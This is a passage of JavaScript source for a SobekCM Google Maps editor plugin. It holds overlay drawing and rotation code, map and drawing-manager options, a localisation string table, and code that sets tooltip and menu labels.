},\n initGMapObjects: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.initGMapObjects started...\");\n\n //adds listener support for custom overlay\n //Supporting URL: https://developers.google.com/maps/documentation/javascript/overlays#CustomOverlays\n // Note: an overlay's receipt of onAdd() indicates that the map's panes are now available for attaching the overlay to the map via the DOM.\n MAPEDITOR.UTILITIES.CustomOverlay.prototype.onAdd = function () {\n\n // Create the DIV and set some basic attributes.\n var div = document.createElement(\"div\");\n div.id = \"overlay\" + this.index_;\n div.style.borderStyle = 'none';\n div.style.borderWidth = '0px';\n div.style.position = 'absolute';\n div.style.opacity = MAPEDITOR.GLOBAL.DEFINES.preservedOpacity;\n\n // Create an IMG element and attach it to the DIV.\n var img = document.createElement('img');\n img.src = this.image_;\n img.style.width = '100%';\n img.style.height = '100%';\n img.style.position = 'absolute';\n div.appendChild(img);\n\n // Set the overlay's div_ property to this DIV\n this.div_ = div;\n\n // We add an overlay to a map via one of the map's panes.\n // We'll add this overlay to the overlayLayer pane.\n var panes = this.getPanes();\n panes.overlayLayer.appendChild(div);\n };\n //Continues support for adding an custom overlay\n //Supporting URL: https://developers.google.com/maps/documentation/javascript/overlays#CustomOverlays\n MAPEDITOR.UTILITIES.CustomOverlay.prototype.draw = function () {\n // Size and position the overlay. We use a southwest and northeast\n // position of the overlay to peg it to the correct position and size.\n // We need to retrieve the projection from this overlay to do this.\n var overlayProjection = this.getProjection();\n\n // Retrieve the southwest and northeast coordinates of this overlay\n // in latlngs and convert them to pixels coordinates.\n // We'll use these coordinates to resize the DIV.\n var sw = overlayProjection.fromLatLngToDivPixel(this.bounds_.getSouthWest());\n var ne = overlayProjection.fromLatLngToDivPixel(this.bounds_.getNorthEast());\n\n // Resize the image's DIV to fit the indicated dimensions.\n var div = this.div_;\n div.style.left = sw.x + 'px';\n div.style.top = ne.y + 'px';\n div.style.width = (ne.x - sw.x) + 'px';\n div.style.height = (sw.y - ne.y) + 'px';\n\n //for a rotation\n //hold woi to later put it back in (fixes keepRotate error)\n var temp = MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex;\n //set woi to incoming (fixes keepRotate error)\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = this.index_;\n //check to see if saving rotaiotn and then incoming (this allows all overlays to have a rotation but places priority to the saving overlay rotation)\n if (MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[this.index_ - 1] != undefined) {\n MAPEDITOR.UTILITIES.keepRotate(MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[this.index_ - 1]);\n } else {\n MAPEDITOR.UTILITIES.keepRotate(MAPEDITOR.GLOBAL.DEFINES.incomingPolygonRotation[(this.index_ - 1)]);\n }\n //reset woi to temp just in case we had something different/useful\n MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex = temp;\n };\n //Not currently used\n //Supporting URL: https://developers.google.com/maps/documentation/javascript/overlays#CustomOverlays\n MAPEDITOR.UTILITIES.CustomOverlay.prototype.onRemove = function () {\n this.div_.parentNode.removeChild(this.div_);\n this.div_ = null;\n };\n //holds all the cusotm map options\n MAPEDITOR.GLOBAL.DEFINES.gmapOptions = {\n disableDefaultUI: false, //set to false to start from a clean slate of map controls\n zoom: MAPEDITOR.GLOBAL.DEFINES.defaultZoomLevel, //starting zoom level\n minZoom: MAPEDITOR.GLOBAL.DEFINES.maxZoomLevel, //highest zoom out level\n center: MAPEDITOR.GLOBAL.DEFINES.mapCenter, //default center point\n mapTypeId: google.maps.MapTypeId.ROADMAP, //default map type to display\n streetViewControl: false, //is streetview active?\n tilt: 0, //set to 0 to disable 45 degree tilt\n zoomControl: false, //is zoom control active?\n zoomControlOptions: {\n style: google.maps.ZoomControlStyle.SMALL, //zoom control style\n position: google.maps.ControlPosition.LEFT_TOP //zoom control position \n },\n panControl: false, //pan control active\n panControlOptions: {\n position: google.maps.ControlPosition.LEFT_TOP //pan control position\n },\n mapTypeControl: false, //map layer control active\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.DROPDOWN_MENU, //map layer control style\n position: google.maps.ControlPosition.RIGHT_TOP //map layer control position\n },\n styles: //turn off all poi stylers (supporting url: https://developers.google.com/maps/documentation/javascript/reference#MapTypeStyleFeatureType)\n [\n {\n featureType: \"poi\", //poi\n elementType: \"all\", //or labels\n stylers: [{ visibility: \"off\" }]\n },\n {\n featureType: \"transit\", //poi\n elementType: \"labels\", //labels\n stylers: [{ visibility: \"off\" }]\n }\n ]\n\n };\n //define drawing manager for this google maps instance\n //support url: https://developers.google.com/maps/documentation/javascript/3.exp/reference#DrawingManager\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setOptions({\n //drawingMode: google.maps.drawing.OverlayType.MARKER, //set default/start type\n drawingControl: false,\n drawingControlOptions: {\n position: google.maps.ControlPosition.RIGHT_TOP,\n drawingModes: [\n google.maps.drawing.OverlayType.MARKER,\n google.maps.drawing.OverlayType.CIRCLE,\n google.maps.drawing.OverlayType.RECTANGLE,\n google.maps.drawing.OverlayType.POLYGON,\n google.maps.drawing.OverlayType.POLYLINE\n ]\n },\n markerOptions: MAPEDITOR.GLOBAL.DEFINES.markerOptionsDefault,\n circleOptions: MAPEDITOR.GLOBAL.DEFINES.circleOptionsDefault,\n polygonOptions: MAPEDITOR.GLOBAL.DEFINES.polygonOptionsDefault,\n polylineOptions: MAPEDITOR.GLOBAL.DEFINES.polylineOptionsDefault,\n rectangleOptions: MAPEDITOR.GLOBAL.DEFINES.rectangleOptionsDefault\n });\n //define custom copyright control\n //supporting url: https://developers.google.com/maps/documentation/javascript/controls#CustomControls\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode = document.createElement('div');\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.id = 'copyright-control';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.fontSize = '10px';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.color = '#333333';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.fontFamily = 'Arial, sans-serif';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.margin = '0 2px 2px 0';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.whiteSpace = 'nowrap';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.index = 0;\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.backgroundColor = '#FFFFFF';\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.style.opacity = 0.71;\n MAPEDITOR.GLOBAL.DEFINES.copyrightNode.innerHTML = MAPEDITOR.LOCALIZATION.DEFINES.L1; //localization copyright\n //define cursor lat long tool custom control\n //supporting url: https://developers.google.com/maps/documentation/javascript/controls#CustomControls\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool = document.createElement('div');\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.id = 'cursorLatLongTool';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.fontSize = '10px';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.color = '#333333';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.fontFamily = 'Arial, sans-serif';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.margin = '0 2px 2px 0';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.whiteSpace = 'nowrap';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.index = 0;\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.backgroundColor = '#FFFFFF';\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.style.opacity = 0.71;\n MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool.innerHTML = MAPEDITOR.LOCALIZATION.DEFINES.L2; //localization cursor lat/long tool\n //buffer zone top left (used to push map controls down)\n //supporting url: https://developers.google.com/maps/documentation/javascript/controls#CustomControls\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone1 = document.createElement('div');\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone1.id = 'toolbarBufferZone1';\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone1.style.height = '50px';\n //buffer zone top right\n //supporting url: https://developers.google.com/maps/documentation/javascript/controls#CustomControls\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone2 = document.createElement('div');\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone2.id = 'toolbarBufferZone2';\n MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone2.style.height = '50px';\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: MAPEDITOR.GLOBAL.initGMapObjects completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initNonStaticVars: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initNonStaticVars started...\");\n //explicityl define nonstatic vars\n document.getElementById(\"debugVersionNumber\").innerHTML = MAPEDITOR.TRACER.DEFINES.debugVersionNumber;\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initNonStaticVars completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }\n };\n }(), //global vars and inits\n LOCALIZATION: function () {\n return {\n DEFINES: function () {\n return {\n L_Error1: \"ERROR: Failed Adding Listeners\",\n L_Marker: \"Marker\",\n L_Circle: \"Circle\",\n L_Rectangle: \"Rectangle\",\n L_Polygon: \"Polygon\",\n L_Line: \"Line\",\n L_Saved: \"Saved\",\n L_Applied: \"Applied\",\n L_Completed: \"Completed\",\n L_Working: \"Working...\",\n L_NotSaved: \"Nothing To Save\",\n L_NotCleared: \"Nothing To Reset\",\n L_Save: \"Save\",\n L_Apply: \"Apply\",\n L_Editing: \"Editing\",\n L_Removed: \"Removed\",\n L_Showing: \"Showing\",\n L_Hiding: \"Hiding\",\n L_Deleted: \"Deleted\",\n L_NotDeleted: \"Nothing To Delete\",\n L1: \"<div style=\\\"font-size:.95em,\\\">SobekCM Plugin <div id=\\\"debugVersionNumber\\\"></div> &nbsp&nbsp&nbsp <a target=\\\"_blank\\\" href=\\\"http://www.uflib.ufl.edu/accesspol.html\\\" style=\\\"font-size:9px,text-decoration:none,\\\">Legal</a> &nbsp&nbsp&nbsp <a target=\\\"_blank\\\" href=\\\"http://ufdc.ufl.edu/contact\\\" style=\\\"font-size:9px,text-decoration:none,\\\">Report a Sobek error</a> &nbsp</div>\",\n L2: \"lat: <a id=\\\"cLat\\\"></a><br/>long: <a id=\\\"cLong\\\"></a>\",\n L3: \"Description (Optional)\",\n L4: \"Geolocation Service Failed.\",\n L5: \"Returned to Bounds!\",\n L6: \"Could not find location. Either the format you entered is invalid or the location is outside of the map bounds.\",\n L7: \"Error: Overlay image source cannot contain a ~ or |\",\n L8: \"Error: Description cannot contain a ~ or |\",\n L9: \"Item Location Reset!\",\n L10: \"Overlays Reset!\",\n L11: \"POI Set Cleared!\",\n L12: \"Nothing Happened!\",\n L13: \"Item Saved!\",\n L14: \"Overlay Saved!\",\n L15: \"POI Set Saved!\",\n L16: \"Cannot Zoom Out Further\",\n L17: \"Cannot Zoom In Further\",\n L18: \"Using Search Results as Location\",\n L19: \"Coordinates Copied To Clipboard\",\n L20: \"Coordinates Viewer Frozen\",\n L21: \"Coordinates Viewer UnFrozen\",\n L22: \"Hiding Overlays\",\n L23: \"Showing Overlays\",\n L24: \"Could not find within bounds.\",\n L25: \"geocoder failed due to:\",\n L26: \"Overlay Editing Turned Off\",\n L27: \"Overlay Editing Turned On\",\n L28: \"ERROR: Failed Adding Titles\",\n L29: \"ERROR: Failed Adding Textual Content\",\n L30: \"Edit Location by Dragging Exisiting Marker\",\n L31: \"Hiding\",\n L32: \"Showing\",\n L33: \"Removed\",\n L34: \"Editing\",\n L35: \"Apply Changes (Make Changes Public)\",\n L36: \"Apply\",\n L37: \"Save\",\n L38: \"Save to Temporary File\",\n L39: \"Nothing To Search\",\n L40: \"Cannot Convert\",\n L41: \"Select The Area To Draw The Overlay\",\n L42: \"Hiding POIs\",\n L43: \"Showing POIs\",\n L44: \"Converted Item To Overlay\",\n L45: \"Nothing To Toggle\",\n L46: \"Not Cleared\",\n L47: \"Warning! This will erase any changes you have made. Do you still want to proceed?\",\n L48: \"Reseting Page\",\n L49: \"Did Not Reset Page\",\n L50: \"Finding Your Location.\",\n L51: \"Error Adding Other Listeners\",\n L52: \"Reseting Overlays\",\n L53: \"Reseting POIs\",\n L54: \"This will delete the geographic coordinate data for this overlay, are you sure?\",\n L55: \"Coordinate Data Removed For\",\n L56: \"Nothing to Hide\",\n L57: \"Nothing to Delete\",\n L58: \"Canceling...\",\n L59: \"Saving...\",\n L60: \"Edit This Overlay\",\n L61: \"Toggle On Map\",\n L62: \"Delete Search Result\",\n L63: \"Delete POI\",\n L64: \"Delete Coordinate Data For Overlay\",\n L65: \"Save This Description\",\n L66: \"Edit This POI\",\n L67: \"Item Location Converted to Listing Overlays\",\n L68: \"Overaly Geographic Data Deleted\",\n L69: \"Item Geographic Location Deleted\",\n L70: \"This will delete the geographic coordinate data for this item, are you sure?\",\n L71: \"Save Description\",\n L72: \"This will delete all of the POIs, are you sure?\"\n };\n }(),\n localizeByTooltips: function () {\n try {\n \n MAPEDITOR.TRACER.addTracer(\"[INFO]: localizeByTooltips started...\");\n //toolbar\n document.getElementById(\"content_toolbar_button_reset\").className += \" lytetip\";\n //document.getElementById(\"content_toolbar_button_reset\").createAttribute(\"data-tip\");\n document.getElementById(\"content_toolbar_button_reset\").title = \"Reset Me\";\n //document.getElementById(\"content_toolbar_button_reset\").createAttribute('data-tip', 'Reset: Reset Map To Defaults');\n document.getElementById(\"content_toolbar_button_toggleMapControls\").title = \"Controls: Toggle Map Controls\";\n document.getElementById(\"content_toolbar_button_toggleToolbox\").title = \"Toolbox: Toggle Toolbox\";\n document.getElementById(\"content_toolbar_button_layerRoadmap\").title = \"Roadmap: Toggle Road Map Layer\";\n document.getElementById(\"content_toolbar_button_layerTerrain\").title = \"Terrain: Toggle Terrain Map Layer\";\n document.getElementById(\"content_toolbar_button_layerSatellite\").title = \"Satellite: Toggle Satellite Map Layer\";\n document.getElementById(\"content_toolbar_button_layerHybrid\").title = \"Hybrid: Toggle Hybrid Map Layer\";\n document.getElementById(\"content_toolbar_button_layerCustom\").title = \"Block/Lot: Toggle Block/Lot Map Layer\";\n document.getElementById(\"content_toolbar_button_layerReset\").title = \"Reset: Reset Map Type\";\n document.getElementById(\"content_toolbar_button_panUp\").title = \"Up: Pan Map Up\";\n document.getElementById(\"content_toolbar_button_panLeft\").title = \"Left: Pan Map Left\";\n document.getElementById(\"content_toolbar_button_panReset\").title = \"Default: Pan Map To Default\";\n document.getElementById(\"content_toolbar_button_panRight\").title = \"Right: Pan Map Right\";\n document.getElementById(\"content_toolbar_button_panDown\").title = \"Down: Pan Map Down\";\n document.getElementById(\"content_toolbar_button_zoomIn\").title = \"In: Zoom Map In\";\n document.getElementById(\"content_toolbar_button_zoomReset\").title = \"Reset: Reset Zoom Level\";\n document.getElementById(\"content_toolbar_button_zoomOut\").title = \"Out: Zoom Map Out\";\n document.getElementById(\"content_toolbar_button_manageItem\").title = \"Manage Location Details\";\n document.getElementById(\"content_toolbar_button_manageOverlay\").title = \"Manage Map Coverage\";\n document.getElementById(\"content_toolbar_button_managePOI\").title = \"Manage Points of Interest\";\n document.getElementById(\"content_toolbar_button_manageSearch\").title = \"Locate: Find A Location On The Map\";\n document.getElementById(\"content_toolbar_searchField\").title = \"Locate: Find A Location On The Map\";\n document.getElementById(\"content_toolbar_searchButton\").title = \"Locate: Find A Location On The Map\";\n document.getElementById(\"content_toolbarGrabber\").title = \"Toolbar: Toggle the Toolbar\";\n //toolbox\n document.getElementById(\"content_toolbox_button_layerRoadmap\").title = \"Roadmap: Toggle Road Map Layer\";\n document.getElementById(\"content_toolbox_button_layerTerrain\").title = \"Terrain: Toggle Terrain Map Layer\";\n document.getElementById(\"content_toolbox_button_panUp\").title = \"Up: Pan Map Up\";\n document.getElementById(\"content_toolbox_button_layerSatellite\").title = \"Satellite: Toggle Satellite Map Layer\";\n document.getElementById(\"content_toolbox_button_layerHybrid\").title = \"Hybrid: Toggle Hybrid Map Layer\";\n document.getElementById(\"content_toolbox_button_panLeft\").title = \"Left: Pan Map Left\";\n document.getElementById(\"content_toolbox_button_panReset\").title = \"Default: Pan Map To Default\";\n document.getElementById(\"content_toolbox_button_panRight\").title = \"Right: Pan Map Right\";\n document.getElementById(\"content_toolbox_button_layerCustom\").title = \"Block/Lot: Toggle Block/Lot Map Layer\";\n document.getElementById(\"content_toolbox_button_layerReset\").title = \"Reset: Reset Map Type\";\n document.getElementById(\"content_toolbox_button_panDown\").title = \"Down: Pan Map Down\";\n document.getElementById(\"content_toolbox_button_reset\").title = \"Reset: Reset Map To Defaults\";\n document.getElementById(\"content_toolbox_button_toggleMapControls\").title = \"Controls: Toggle Map Controls\";\n document.getElementById(\"content_toolbox_button_zoomIn\").title = \"In: Zoom Map In\";\n document.getElementById(\"content_toolbox_button_zoomReset\").title = \"Reset: Reset Zoom Level\";\n document.getElementById(\"content_toolbox_button_zoomOut\").title = \"Out: Zoom Map Out\";\n //tab\n document.getElementById(\"content_toolbox_button_manageItem\").title = \"Manage Location Details\";\n document.getElementById(\"content_toolbox_button_manageOverlay\").title = \"Manage Map Coverage\";\n document.getElementById(\"content_toolbox_button_managePOI\").title = \"Manage Points of Interest\";\n document.getElementById(\"content_toolbox_searchField\").title = \"Locate: Find A Location On The Map\";\n document.getElementById(\"content_toolbox_searchButton\").title = \"Locate: Find A Location On The Map\";\n document.getElementById(\"searchResults_container\").title = \"Locate: Find A Location On The Map\";\n //tab\n document.getElementById(\"content_toolbox_button_itemPlace\").title = \"Edit Location\";\n document.getElementById(\"content_toolbox_button_itemGetUserLocation\").title = \"Center On Your Current Position\";\n document.getElementById(\"content_toolbox_button_useSearchAsLocation\").title = \"Use Search Result As Location\";\n document.getElementById(\"content_toolbox_button_convertToOverlay\").title = \"Convert This To a Map Overlay\";\n document.getElementById(\"content_toolbox_posItem\").title = \"Coordinates: This is the selected Latitude and Longitude of the point you selected.\";\n document.getElementById(\"content_toolbox_rgItem\").title = \"Address: This is the nearest address of the point you selected.\";\n document.getElementById(\"content_toolbox_button_saveItem\").title = \"Save Location Changes\";\n document.getElementById(\"content_toolbox_button_clearItem\").title = \"Reset Location Changes\";\n document.getElementById(\"content_toolbox_button_deleteItem\").title = \"Delete Geographic Location\";\n //tab\n //document.getElementById(\"content_toolbox_button_overlayEdit\").title = \"Toggle Overlay Editing\";\n //document.getElementById(\"content_toolbox_button_overlayPlace\").title = \"Place A New Overlay\";\n document.getElementById(\"content_toolbox_button_overlayGetUserLocation\").title = \"Center On Your Current Position\";\n document.getElementById(\"content_toolbox_button_overlayToggle\").title = \"Toggle All Overlays On Map\";\n document.getElementById(\"rotation\").title = \"Rotate: Edit the rotation value\";\n document.getElementById(\"rotationKnob\").title = \"Rotate: Edit the rotation value\";\n document.getElementById(\"content_toolbox_rotationCounterClockwise\").title = \"Tenth Degree Left: Click to Rotate a Tenth Degree Counter-Clockwise\";\n document.getElementById(\"content_toolbox_rotationReset\").title = \"Reset: Click to Reset Rotation\";\n document.getElementById(\"content_toolbox_rotationClockwise\").title = \"Tenth Degree Right: Click to Rotate a Tenth Degree Clockwise\";\n document.getElementById(\"transparency\").title = \"Transparency: Set the transparency of this Overlay\";\n document.getElementById(\"content_toolbox_button_saveOverlay\").title = \"Save Overlay Changes\";\n document.getElementById(\"content_toolbox_button_clearOverlay\").title = \"Reset All Overlay Changes\";\n //tab\n //document.getElementById(\"content_toolbox_button_placePOI\").title = \"Toggle Point Of Interest Editing\";\n document.getElementById(\"content_toolbox_button_poiGetUserLocation\").title = \"Center On Your Current Position\";\n document.getElementById(\"content_toolbox_button_poiToggle\").title = \"Toggle All POIs On Map\";\n document.getElementById(\"content_toolbox_button_poiMarker\").title = \"Marker: Place a Point\";\n document.getElementById(\"content_toolbox_button_poiCircle\").title = \"Circle: Place a Circle\";\n document.getElementById(\"content_toolbox_button_poiRectangle\").title = \"rectangle: Place a rectangle\";\n document.getElementById(\"content_toolbox_button_poiPolygon\").title = \"Polygon: Place a Polygon\";\n document.getElementById(\"content_toolbox_button_poiLine\").title = \"Line: Place a Line\";\n document.getElementById(\"content_toolbox_button_savePOI\").title = \"Save Point Of Interest Set\";\n document.getElementById(\"content_toolbox_button_clearPOI\").title = \"Clear Point Of Interest Set\";\n MAPEDITOR.TRACER.addTracer(\"[INFO]: localizeByTooltips completed...\");\n } catch (err) {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L28 + \": \" + err + \" at line \" +err.lineNumber );\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n localizeByText: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: localizeByText started...\");\n //menubar\n document.getElementById(\"content_menubar_header1\").innerHTML = \"File\";\n document.getElementById(\"content_menubar_header2\").innerHTML = \"Controls\";\n document.getElementById(\"content_menubar_header2Sub1\").innerHTML = \"View\";\n document.getElementById(\"content_menubar_header2Sub2\").innerHTML = \"Layers\";\n document.getElementById(\"content_menubar_header2Sub3\").innerHTML = \"Zoom\";\n document.getElementById(\"content_menubar_header2Sub4\").innerHTML = \"Pan\";\n document.getElementById(\"content_menubar_header3\").innerHTML = \"Actions\";\n document.getElementById(\"content_menubar_manageSearch\").innerHTML = \"Find Location\";\n document.getElementById(\"content_menubar_manageItem\").innerHTML = \"Manage Location\";\n document.getElementById(\"content_menubar_manageOverlay\").innerHTML = \"Manage Ovelays\";\n document.getElementById(\"content_menubar_header3Sub3Sub1\").innerHTML = \"Rotate\";\n document.getElementById(\"content_menubar_header3Sub3Sub2\").innerHTML = \"Tranparency\";\n document.getElementById(\"content_menubar_managePOI\").innerHTML = \"Manage POIs\";\n document.getElementById(\"content_menubar_header3Sub4Sub1\").innerHTML = \"Place\";\n document.getElementById(\"content_menubar_header4\").innerHTML = \"Help\";\n document.getElementById(\"content_menubar_save\").innerHTML = \"Complete Editing\";\n document.getElementById(\"content_menubar_cancel\").innerHTML = \"Cancel Editing\";\n document.getElementById(\"content_menubar_reset\").innerHTML = \"Reset All Changes\";\n document.getElementById(\"content_menubar_toggleMapControls\").innerHTML = \"Map Controls\";\n document.getElementById(\"content_menubar_toggleToolbox\").innerHTML = \"Toolbox\";\n document.getElementById(\"content_menubar_toggleToolbar\").innerHTML = \"Toolbar\";\n document.getElementById(\"content_menubar_layerRoadmap\").innerHTML = \"Roadmap\";\n document.getElementById(\"content_menubar_layerSatellite\").innerHTML = \"Satellite\";\n document.getElementById(\"content_menubar_layerHybrid\").innerHTML = \"Hybrid\";\n document.getElementById(\"content_menubar_layerTerrain\").innerHTML = \"Terrain\";\n document.getElementById(\"content_menubar_layerCustom\").innerHTML = \"Custom\";\n document.getElementById(\"content_menubar_layerReset\").innerHTML = \"Reset\";\n document.getElementById(\"content_menubar_zoomIn\").innerHTML = \"Zoom In\";\n document.getElementById(\"content_menubar_zoomOut\").innerHTML = \"Zoom Out\";\n document.getElementById(\"content_menubar_zoomReset\").innerHTML = \"Reset\";\n document.getElementById(\"content_menubar_panUp\").innerHTML = \"Pan Up\";\n document.getElementById(\"content_menubar_panRight\").innerHTML = \"Pan Right\";\n document.getElementById(\"content_menubar_panDown\").innerHTML = \"Pan Down\";\n document.getElementById(\"content_menubar_panLeft\").innerHTML = \"Pan Left\";\n document.getElementById(\"content_menubar_panReset\").innerHTML = \"Reset\";\n document.getElementById(\"content_menubar_searchField\").setAttribute('placeholder', \"Find a Location\");\n document.getElementById(\"content_menubar_itemGetUserLocation\").innerHTML = \"Center On Current Location\";\n document.getElementById(\"content_menubar_itemPlace\").innerHTML = \"Edit Location\";\n document.getElementById(\"content_menubar_useSearchAsLocation\").innerHTML = \"Use Search Result As Location\";\n document.getElementById(\"content_menubar_convertToOverlay\").innerHTML = \"Convert To Overlay\";\n document.getElementById(\"content_menubar_itemReset\").innerHTML = \"Reset Location\";\n document.getElementById(\"content_menubar_itemDelete\").innerHTML = \"Delete Geographic Location\";\n document.getElementById(\"content_menubar_overlayGetUserLocation\").innerHTML = \"Center On Current Location\";\n //document.getElementById(\"content_menubar_overlayEdit\").innerHTML = \"Toggle Overlay Editing\";\n //document.getElementById(\"content_menubar_overlayPlace\").innerHTML = \"Place A New Overlay\";\n document.getElementById(\"content_menubar_overlayToggle\").innerHTML = \"Toggle All Map Overlays\";\n document.getElementById(\"content_menubar_rotationClockwise\").innerHTML = \"Clockwise\";\n document.getElementById(\"content_menubar_rotationCounterClockwise\").innerHTML = \"Counter-Clockwise\";\n document.getElementById(\"content_menubar_rotationReset\").innerHTML = \"Reset\";\n document.getElementById(\"content_menubar_transparencyDarker\").innerHTML = \"Darker\";\n document.getElementById(\"content_menubar_transparencyLighter\").innerHTML = \"Lighter\";\n document.getElementById(\"content_menubar_transparencyReset\").innerHTML = \"Reset\";\n document.getElementById(\"content_menubar_overlayReset\").innerHTML = \"Reset Overlays\";\n document.getElementById(\"content_menubar_poiGetUserLocation\").innerHTML = \"Center On Current Location\";\n //document.getElementById(\"content_menubar_poiPlace\").innerHTML = \"Toggle POI Editing\";\n document.getElementById(\"content_menubar_poiToggle\").innerHTML = \"Toggle POIs On Map\";\n document.getElementById(\"content_menubar_poiReset\").innerHTML = \"Reset POIs\";\n document.getElementById(\"content_menubar_poiMarker\").innerHTML = \"Marker\";\n document.getElementById(\"content_menubar_poiCircle\").innerHTML = \"Circle\";\n document.getElementById(\"content_menubar_poiRectangle\").innerHTML = \"rectangle\";\n document.getElementById(\"content_menubar_poiPolygon\").innerHTML = \"Polygon\";\n document.getElementById(\"content_menubar_poiLine\").innerHTML = \"Line\";\n document.getElementById(\"content_menubar_documentation\").innerHTML = \"Documentation\";\n document.getElementById(\"content_menubar_reportAProblem\").innerHTML = \"Report A Problem\";\n //all others\n document.getElementById(\"content_minibar_header\").innerHTML = \"Toolbox\";\n document.getElementById(\"content_toolbox_button_saveItem\").value = \"Save\";\n document.getElementById(\"content_toolbox_button_clearItem\").value = \"Reset\";\n document.getElementById(\"content_toolbox_button_deleteItem\").value = \"Delete\";\n document.getElementById(\"content_toolbox_button_saveOverlay\").value = \"Save\";\n document.getElementById(\"content_toolbox_button_clearOverlay\").value = \"Reset\";\n document.getElementById(\"content_toolbox_button_savePOI\").value = \"Save\";\n document.getElementById(\"content_toolbox_button_clearPOI\").value = \"Reset\";\n document.getElementById(\"content_toolbox_tab1_header\").innerHTML = \"Map Controls\";\n document.getElementById(\"content_toolbox_tab2_header\").innerHTML = \"Actions\";\n document.getElementById(\"content_toolbox_tab3_header\").innerHTML = \"Manage Location\";\n document.getElementById(\"content_toolbox_tab4_header\").innerHTML = \"Manage Overlay\";\n document.getElementById(\"content_toolbox_tab5_header\").innerHTML = \"Manage POI\";\n document.getElementById(\"content_toolbar_searchField\").setAttribute('placeholder', \"Find a Location\");\n document.getElementById(\"content_toolbox_searchField\").setAttribute('placeholder', \"Find a Location\");\n document.getElementById(\"content_toolbox_posItem\").setAttribute('placeholder', \"Selected Lat/Long\");\n document.getElementById(\"content_toolbox_rgItem\").setAttribute('placeholder', \"Nearest Address\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: localizeByText completed...\");\n } catch (err) {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L29);\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n }\n };\n }(), //localization support\n ACTIONS: function () {\n return {\n resetAll: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resetAll started...\");\n document.location.reload(true);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: resetAll completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n toggleVis: function (id) {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: toggleVis started...\");\n switch (id) {\n case \"mapControls\":\n if (MAPEDITOR.GLOBAL.DEFINES.mapControlsDisplayed == true) { //present, hide\n map.setOptions({\n zoomControl: false,\n panControl: false,\n mapTypeControl: false\n });\n MAPEDITOR.GLOBAL.DEFINES.mapControlsDisplayed = false;\n } else { //not present, make present\n map.setOptions({\n zoomControl: true,\n zoomControlOptions: { style: google.maps.ZoomControlStyle.SMALL, position: google.maps.ControlPosition.LEFT_TOP },\n panControl: true,\n panControlOptions: { position: google.maps.ControlPosition.LEFT_TOP },\n mapTypeControl: true,\n mapTypeControlOptions: { style: google.maps.MapTypeControlStyle.DROPDOWN_MENU, position: google.maps.ControlPosition.RIGHT_TOP }\n });\n MAPEDITOR.GLOBAL.DEFINES.mapControlsDisplayed = true;\n }\n MAPEDITOR.UTILITIES.buttonActive(\"mapControls\"); //set the is active glow for button\n break;\n\n case \"toolbox\":\n if (MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed == true) {\n document.getElementById(\"mapedit_container_toolbox\").style.display = \"none\";\n document.getElementById(\"mapedit_container_toolboxTabs\").style.display = \"none\";\n MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed = false;\n } else {\n $(\"#mapedit_container_toolbox\").animate({ 'top': '75px', 'left': '100px' });\n document.getElementById(\"mapedit_container_toolbox\").style.display = \"block\";\n document.getElementById(\"mapedit_container_toolboxTabs\").style.display = \"block\";\n document.getElementById(\"mapedit_container_toolbox\").style.height = \"auto\";\n MAPEDITOR.GLOBAL.DEFINES.toolboxDisplayed = true;\n }\n 